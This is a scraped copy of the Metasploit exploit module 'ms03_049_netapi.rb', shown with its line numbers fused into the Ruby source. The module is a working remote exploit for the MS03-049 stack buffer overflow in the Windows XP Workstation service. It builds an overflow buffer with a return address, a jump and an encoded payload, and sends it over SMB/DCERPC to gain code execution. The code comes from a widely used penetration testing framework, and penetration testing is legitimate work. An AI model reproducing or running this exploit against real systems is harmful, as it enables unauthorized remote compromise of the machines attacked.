Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/smb/ms03_049_netapi.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GoodRanking78include Msf::Exploit::Remote::DCERPC9include Msf::Exploit::Remote::SMB::Client1011def initialize(info = {})12super(update_info(info,13'Name' => 'MS03-049 Microsoft Workstation Service NetAddAlternateComputerName Overflow',14'Description' => %q{15This module exploits a stack buffer overflow in the NetApi32 NetAddAlternateComputerName16function using the Workstation service in Windows XP.17},18'Author' => [ 'hdm' ],19'License' => MSF_LICENSE,20'References' =>21[22[ 'CVE', '2003-0812' ],23[ 'OSVDB', '11461' ],24[ 'BID', '9011' ],25[ 'MSB', 'MS03-049' ],26],27'DefaultOptions' =>28{29'EXITFUNC' => 'thread',30},31'Privileged' => true,32'Payload' =>33{34'Space' => 1000,35'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c" + [*(0x80..0x9f)].pack('C*'),36'StackAdjustment' => -3500,37},38'Platform' => 'win',39'DefaultTarget' => 0,40'Targets' =>41[42[ 'Windows XP SP0/SP1',43{44'Ret' => 0x71aa32ad # pop/pop/ret in ws2help.dll45}46],47],48'DisclosureDate' => '2003-11-11'))4950register_options(51[52OptString.new('SMBPIPE', [ true, "The pipe name to use (BROWSER, WKSSVC)", 'BROWSER']),53])54end5556def exploit5758connect()59smb_login()6061handle = dcerpc_handle(62'6bffd098-a112-3610-9833-46c3f87e345a', '1.0',63'ncacn_np', ["\\#{datastore['SMBPIPE']}"]64)6566print_status("Binding to #{handle} ...")67dcerpc_bind(handle)68print_status("Bound to #{handle} ...")6970print_status("Building the stub data...")717273name = rand_text_alphanumeric(5000)74name[3496, 4] = [target.ret].pack('V')75name[3492, 2] = "\xeb\x06"76name[3500, 5] = "\xe9" + [-3505].pack('V')77name[0, payload.encoded.length] = payload.encoded7879stub =80NDR.long(rand(0xffffffff)) +81NDR.UnicodeConformantVaryingString("\\\\#{datastore['RHOST']}") +82NDR.long(rand(0xffffffff)) +83NDR.UnicodeConformantVaryingString(name) +84NDR.long(rand(0xffffffff)) +85NDR.UnicodeConformantVaryingString('') +86NDR.long(0) +87NDR.long(0)8889print_status("Calling the vulnerable function...")9091begin92dcerpc.call(0x1b, stub)93rescue Rex::Proto::DCERPC::Exceptions::NoResponse94rescue => e95if e.to_s !~ /STATUS_PIPE_DISCONNECTED/96raise e97end98end99100# Cleanup101handler102disconnect103end104end105106107